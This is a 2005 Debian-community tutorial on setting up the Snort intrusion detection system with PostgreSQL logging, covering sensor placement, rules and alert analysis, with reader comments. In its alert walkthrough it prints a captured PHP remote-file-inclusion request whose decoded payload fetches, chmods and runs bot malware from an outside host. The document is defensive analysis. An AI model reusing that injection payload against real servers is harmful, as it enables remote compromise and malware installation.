Using the 'snort' Intrusion Detection System
Posted by jamesriden on Mon 26 Dec 2005 at 12:04
Snort is the leading open source Network Intrusion Detection System and is a valuable addition to the security framework at any site. Even if you are employing lots of preventative measures, such as firewalling, patching, etc., a detection system can give you an assurance that your defences truly are effective, or if not, will give you valuable information about what you need to improve.
Fortunately, there is a good set of snort packages for Debian which takes a lot of the tedious work out of building a useful Network Intrusion Detection System. Before we start on installation, we should review a few details about the networking satack that you're going to need to make sense of the alerts snort will generate. Impatient readers and those who are familiar with the TCP/IP suite of protocols may do now skip to the bit that says Stand alone snort.
Sensor placement and hardware
We'll assume that you're using TCP/IP over Ethernet; the first thing to consider is where you want to place your snort sensors. Some people like to put a sensor outside their firewall - this has the advantage that you can spot attempted attacks that your firewall is blocking - if you have time to wade through all the alerts that is. For this reason, others prefer to place the sensor behind the firewall; after all, it's an intrusion detection sensor, and you only need to consider packets that make it past your firewall. It's also good to position the sensor to see as much of the internal traffic as possible, as viruses and worms often send out large amounts of traffic to the local subnet. If your network has a few large routers, try to attach the sensor to a SPAN port on one of these to start with - but beware of possible performance degradation on some older devices. (SPAN stands for some cute collection of words designed to have the acronym 'SPAN' - it mirrors traffic seen on the rest of the router's interfaces and aggregates it to a single interface. You will usually only be able to listen and not transmit.) If not, attach it to a hub so you can at least see all the traffic going in and out of your Internet connection. Any worms which are guessing addresses to infect will end up sending the vast majority of packets along the default route, out of your network and so will be observed by your IDS.
As to hardware, a newish machine with a 1.5GHz processor and two decent network cards will cope quite happily with a 100Mb/s feed. RTL8139 cards are OK, cards based on the TG3 chipset are better, but you can build a prototype with whatever you have lying around. Suppose we decide that eth0 will be the monitoring port and that eth1 will be for the control interface. Ideally eth1 would be on a totally separate network, but if you make sure the machine is fairly secure there should be no problem with plugging this into the normal internal network. The idea is that we can use SSH to administer the sensor via eth1 while it is analysing data seen on eth0. To do this we bring eth0 up with no IP address -
ifconfig eth0 up- and snort puts it into promiscuous mode when it runs. (Promiscuous mode means that the network card is configured to receive all frames, not just those which are addressed to it. It is generally a bad sign on any machine which is not meant to be a NIDS. A 'frame' is the layer two equivalent of a layer three 'packet'.)
Network 'layers
A quick digression on layers two through four of the OSI model. Layer two is Ethernet which sends parcels of up to 1500 bits over the wire. The figure 1500 is known as the Maximum Transfer Unit (MTU) for obvious reasons - it can take on different values for other technologies such as dialup/PPP, ATM and over VPN tunnels. Contained in these parcels ('frames') are the source and destination MAC addresses of the Ethernet cards which are having the conversation. A MAC address should be unique to the card, but in these days of programmable firmware, is not always. A MAC address is 48 bits long and looks like '00:0a:d0:12:34:56'. Ethernet is not routable - that is the addresses do not have structure corresponding to the network topology, so are only good for the local segment. Ethernet is a broadcast medium, which relies on network cards only paying attention to packets with their MAC addresses in, hence the promiscuous mode behaviour used to capture all the frames. Layer three is the Internet Protocol, which deals with IP addresses such as 10.0.0.1. The Address Resolution Protocol (ARP) is used to map IP addresses to MAC addresses - a typical ARP packet looks like 'Who has 10.0.0.1? Tell 01:23:45:67:89:ab'. Internet Protocol is routable, so we could expect 10.0.0.2 to be 'near' to 10.0.0.3 for instance, which 192.168.0.1 might be far away from both. Layer four deals with transport, both connection-oriented (Transport Control Protocol or TCP) and not (User Datagram Protocol or UDP). TCP marries the IP address with a port number between 0 and 65535 - for instance a mail server might be listening on TCP port 25 on IP address 10.0.0.1 - usually written more succinctly as 10.0.0.1:25.
Other protocols you will need to be aware of are Internet Control Message Protocol (ICMP) and the Domain Name System (DNS). ICMP acts as a kind of signalling mechanism - for instance when a packet is too large to go over a particular link, a router will send an ICMP message indicating the packet needs to be broken up. The 'ping' utility also makes use of ICMP messages (Echo Request and Echo Reply) to determine whether a particular IP address is alive. DNS deals with the mapping between human-readable names such as www.google.com and, well, whatever IP address google lives at.
Standalone snort
To install snort, simply type:
apt-get install snort
at a root prompt. This may be simplest if you're new to snort and want to have a play with it before you get in too deep. Otherwise, you can log the alerts to a database instead.
Snort and PostgreSQL
apt-get install snort-pgsql
You will be asked:
- When should snort be started? Boot for most people
- On which interface should snort listen? eth0
- Network? any
- Should snort disable promiscuous mode? No
- Should snort's rules testing order be changed to Pass|Alert|Log? Yes
- Leave the rest as their defaults, except give the database as 'snort_db' and the user as 'snort', and give a password.
For some reason, I never get this bit right, so often I end up manually creating the database, a user and granting the necessary rights. You may need to do this if you're like me:
# su postgres $ createdb snort_db $ zcat /usr/share/doc/snort-pgsql/create_postgresql.gz | psql -d snort_db $ psql -d snort_db snort_db=# CREATE USER snort WITH PASSWORD 'password' ; snort_db=# GRANT ALL ON DATABASE snort_db TO snort ; snort_db=# \d .. postgres prints a list of tables - data, detail, ... uphdr .. snort_db=# GRANT ALL ON TABLE data, detail ... uphdr TO snort_user ; snort_db=# \q
Please, please remember to put a good password instead of 'password' throughout. The corresponding line of /etc/snort.conf should look like this:
output database: log, postgresql, user=snort password=password dbname=snort_db host=127.0.0.1
You may need to edit /var/lib/postgres/data/pg_hba.conf also, if you're having problems with the identd lookup - given that there are no local users, you can safely change:
host all all 127.0.0.1 255.255.255.255 ident sameuser
to
host all all 127.0.0.1 255.255.255.255 trust
Now, try
/etc/init.d/snort start- if all goes well, there should be snort process running, and the end of /var/log/daemon.log should have a lot of snort stuff in it, including something like this:
Dec 8 20:13:14 localhost snort: Snort initialization completed successfully (pid=4278)
If it hasn't worked, there will be no snort process, and you'll have something like this instead:
Dec 8 19:46:53 localhost snort: FATAL ERROR: When this plugin starts, a SELECT query is run to find the sensor id for the currently running sensor. If the sensor id is not found, the plugin will run an INSERT query to insert the proper data and generate a new sensor id. Then a SELECT query is run to get the newly allocated sensor id. If that fails then this error message is generated. Some possible causes for this error are: * the user does not have proper INSERT or SELECT privileges * the sensor table does not exist If you are_absolutely_ certain that you have the proper privileges set and that your database structure is built properly please let me know if you continue to get this error. You can contact me at (roman AT danyliw.com).
There are lots of snort HOW-TOs around on configuring and using front ends such as BASE and ACID together with database logging. 'acidlab' is the Debian package for stable, though I recommend 'acidbase' which is a fork of the ACID code and only available on testing and unstable.
Snort rules
How does snort know what's nasty and what's OK? Well, in /etc/snort/snort.conf there is a line 'include $RULE_PATH/sql.rules' and in /etc/snort/rules/sql.rules, there is the following line:
alert udp $EXTERNAL_NET any -> $HOME_NET 1434 (msg:"MS-SQL Worm propagation attempt"; \ content:"|04|"; depth:1; content:"|81 F1 03 01 04 9B 81 F1 01|"; content:"sock"; content:"send"; \ reference:bugtraq,5310; reference:bugtraq,5311; reference:cve,2002-0649; reference:nessus,11214; \ reference:url,vil.nai.com/vil/content/v_99992.htm; classtype:misc-attack; sid:2003; rev:8;)
Phew! There are many guides to writing snort rules, such as the one at the snort website, so I won't dwell on them too much here. This one generates alerts when a UDP packet going from $EXTERNAL_NET to $HOME_NET with destination port 1434 has particular contents in it. The references are for us, not snort and give sources of information on the attack. The classtype is the general type of the alert, and the sid and rev serve to uniquely identify this particular alert. This rule is triggered by the fairly infamous Slammer (or Sapphire) worm that attacks unpatched MSSQL servers.
Obviously, if you don't have any MSSQL servers, you can trim this rule out. Except that someone might have installed MSDE (a cut-down version of MSSQL) with a third party application, and you would never know until something went wrong. So think carefully before removing rules that you "won't ever need".
The Bleeding Edge Rules
This is a third-party collection of slightly more experimental rules, kept at http://www.bleedingsnort.com. It's well worth downloading these and adding useful ones into your snort.conf file.
cd /etc/snort/rules wget https://www.bleedingsnort.com/bleeding.rules.tar.gz tar zxf bleeding-rules
Then add 'include $RULE_PATH/bleeding-all.rules' into your /etc/snort.conf and do a /etc/init.d/snort restart to restart snort. Don't forget to check /var/log/daemon to make sure snort has started correctly.
The alerts file
The file /var/log/snort/alerts records all the alerts snort generates. Let's take a look at some alerts hot off the Internet. Here, 72.232.aa.bb is my server, and 66.147.xxx.yy is the suspect machine.
[**] [1:2001621:10] BLEEDING-EDGE Exploit Suspected PHP Injection Attack [**] [Classification: A Network Trojan was detected] [Priority: 1] 12/24-06:54:03.757015 66.147.xxx.yy:59330 -> 72.232.aa.bb:80 TCP TTL:50 TOS:0x0 ID:23969 IpLen:20 DgmLen:309 DF ***AP*** Seq: 0xB00D311F Ack: 0x6C3F770A Win: 0x1C84 TcpLen: 20 [Xref => cve 2002-0953]
In the default configuration of snort, the options are stored here:
$ cat /etc/default/snort # Parameters for the daemon PARAMS="-m 027 -D -d " # Logging directory LOGDIR="/var/log/snort" # Snort user SNORTUSER="snort" # Snort group SNORTGROUP="snort"
The -d option asks snort to log packet dumps as well as alerts, so we can check out the packet dump file as follows. -tttt causes the full timestamp to be output, -X means print a full packet dump, and -r asks tcpdump to read from the given capture file. See man tcpdump for more info.
$ tcpdump -tttt -X -r /var/log/snort/tcpdump.log.1135358710
..
2005-12-23 17:54:04.664250 IP suspect.example.com.59431 > nice.example.com.www: P 3251878904:3251879182(278) ack 1814956897 win 7300
0x0000: 4500 013e 60f0 4000 3206 c7e3 4293 7521 E..>`.@.2...B.u!
0x0010: 48e8 1e4a e827 0050 c1d3 bbf8 6c2e 0b61 H..J.'.P....l..a
0x0020: 5018 1c84 e84c 0000 4745 5420 2f6d 6f64 P....L..GET./mod
0x0030: 756c 6573 2f63 6f70 7065 726d 696e 652f ules/coppermine/
0x0040: 7468 656d 6573 2f64 6566 6175 6c74 2f74 themes/default/t
0x0050: 6865 6d65 2e70 6870 7468 656d 652e 7068 heme.phptheme.ph
0x0060: 703f 5448 454d 455f 4449 523d 6874 7470 p?THEME_DIR=http
0x0070: 3a2f 2f32 3039 2e31 3336 2ecc cc2e dddd ://209.136.cc.dd
0x0080: 2f63 6d64 2e67 6966 3f26 636d 643d 6364 /cmd.gif?&cmd=cd
0x0090: 2532 302f 746d 703b 7767 6574 2532 3032 %20/tmp;wget%202
0x00a0: 3039 2e31 3336 2ecc cc2e dddd 2f63 6261 09.136.cc.dd/cba
0x00b0: 633b 6368 6d6f 6425 3230 3734 3425 3230 c;chmod%20744%20
0x00c0: 6362 6163 3b2e 2f63 6261 633b 6563 686f cbac;./cbac;echo
0x00d0: 2532 3059 5959 3b65 6368 6f7c 2048 5454 %20YYY;echo|.HTT
0x00e0: 502f 312e 310d 0a48 6f73 743a 2037 322e P/1.1..Host:.72.
0x00f0: 3233 322e aaaa 2ebb 34bb 0a55 7365 722d 232.aa.bb..User-
0x0100: 4167 656e 743a 204d 6f7a 696c 6c61 2f34 Agent:.Mozilla/4
0x0110: 2e30 2028 636f 6d70 6174 6962 6c65 3b20 .0.(compatible;.
0x0120: 4d53 4945 2036 2e30 3b20 5769 6e64 6f77 MSIE.6.0;.Window
0x0130: 7320 4e54 2035 2e31 3b29 0d0a 0d0a s.NT.5.1;)....
This is a packet from 66.147.xxx.yy:59330 (suspect.example.com) to 72.232.aa.bb:80 (nice.example.com) which is attempting to exploit some PHP issue or other. Some php code doesn't do sufficient input validation and allows commands to be injected via HTTP requests. Above, we see that the packet would cause a vulnerable host to do a:
wget 209.136.cc.dd/cbac; chmod 744 cbac ; ./cbac
which we can assume would not be a good thing. After noticing this, I did a manual wget of the file, which in turn downloaded two others. They turned out to be some bot-type malware, according to the nice folks at AusCERT. So what countermeasures could you take? The most obvious is to not run the vulnerable php code. Secondly, you can rename or remove the wget executable, and tftp while you're at it. Thirdly, you can mount /tmp with no execute permission - see the 'noexec' option to mount.
UPDATE
Possibly this malware is the same as Bots: they are not just for Windows any more.
What now?
Watch the traffic on your network, get to know it and tweak your rulesets so that they don't generate too much noise. Join the snort-sigs list if you're feeling really keen and want to start writing some signatures of your own. Read the snort docs. And remember, Google is your friend.
Please note! If you do not own your network, your system administrators may have strong views on you using a network card in promiscuous mode. Please check with them first!
Comments to jamesr AT europe.com please, I'm away until mid January 2006.
References
- Snort docs
- Bleeding-edge snort rules
- BASE analysis console
- Internet Storm Center, good for keeping up with vulnerability info.
- Packetstorm, vulnerability info.
- FRSIRT, vulnerability info.
- Security Focus, vulnerability info and mailing lists.
- snort-users mailing list info
- snort-sigs mailing list info
To place the network interface into promiscuous, stealth mode use:
ifconfig eth0 upifconfig eth0 -arp
[ Parent | Reply to this comment ]
ifconfig utility is obsolete since 1992 or so (?), thus: ip link set eth0 up ip link set eth0 arp on
[ Parent | Reply to this comment ]
[ Send Message | View Steve's Scratchpad | View Weblogs ]
It might be obsolete, but people like me know it well and will continue to use it as long as it is available!
[ Parent | Reply to this comment ]
http://www.policyrouting.org/iproute2.doc.html
http://linux-net.osdl.org/index.php/Iproute2
--
"It's Not Magic, It's Work"
Adam
[ Parent | Reply to this comment ]
I think that better is to use:
host all all 127.0.0.1 255.255.255.255 md5
It'll add password based auth for local users.
Best regards,
Luke
[ Parent | Reply to this comment ]
Also, consider using snort-inline. If snort can detect the attack, why not also stop it? This is what snort-inline does -- it converts snort from intrusion detection to intrusion prevention system.
Who reads the logs anyways? (especially if you are looking on the internet side of things).
Any idea of how to make snort look at only those packets, that actually make it through firewall if you have only one interface (say eth0) connected directly into the internet? Sometimes you have a lonely server on the internet...
[ Parent | Reply to this comment ]
[ Parent | Reply to this comment ]
apt-get install oinkmaster
oinkmaster -o /etc/snort/rules
This is not good karma.....
I'll go look for bug reports unless someone explains what to do here first.
[ Parent | Reply to this comment ]
[ Parent | Reply to this comment ]
I'd like to install a front end to view snort logs easier.
[ Parent | Reply to this comment ]
[ Parent | Reply to this comment ]
[ Parent | Reply to this comment ]
i tried installing snort_inline on my Debian Etch.
i did installed libdnet and libdnet-dev using apt-get.
however i unable to compile the snort-inline (since it was not provided as debian's binary).
I got this error
ERROR! Libdnet header not found, go get it from
http://libdnet.sourceforge.net or use the --with-dnet-*
options, if you have it installed in an unusual place
mail me at najmi dot zabidi at gmail dot com
[ Parent | Reply to this comment ]
please guide me, thanks.
[ Parent | Reply to this comment ]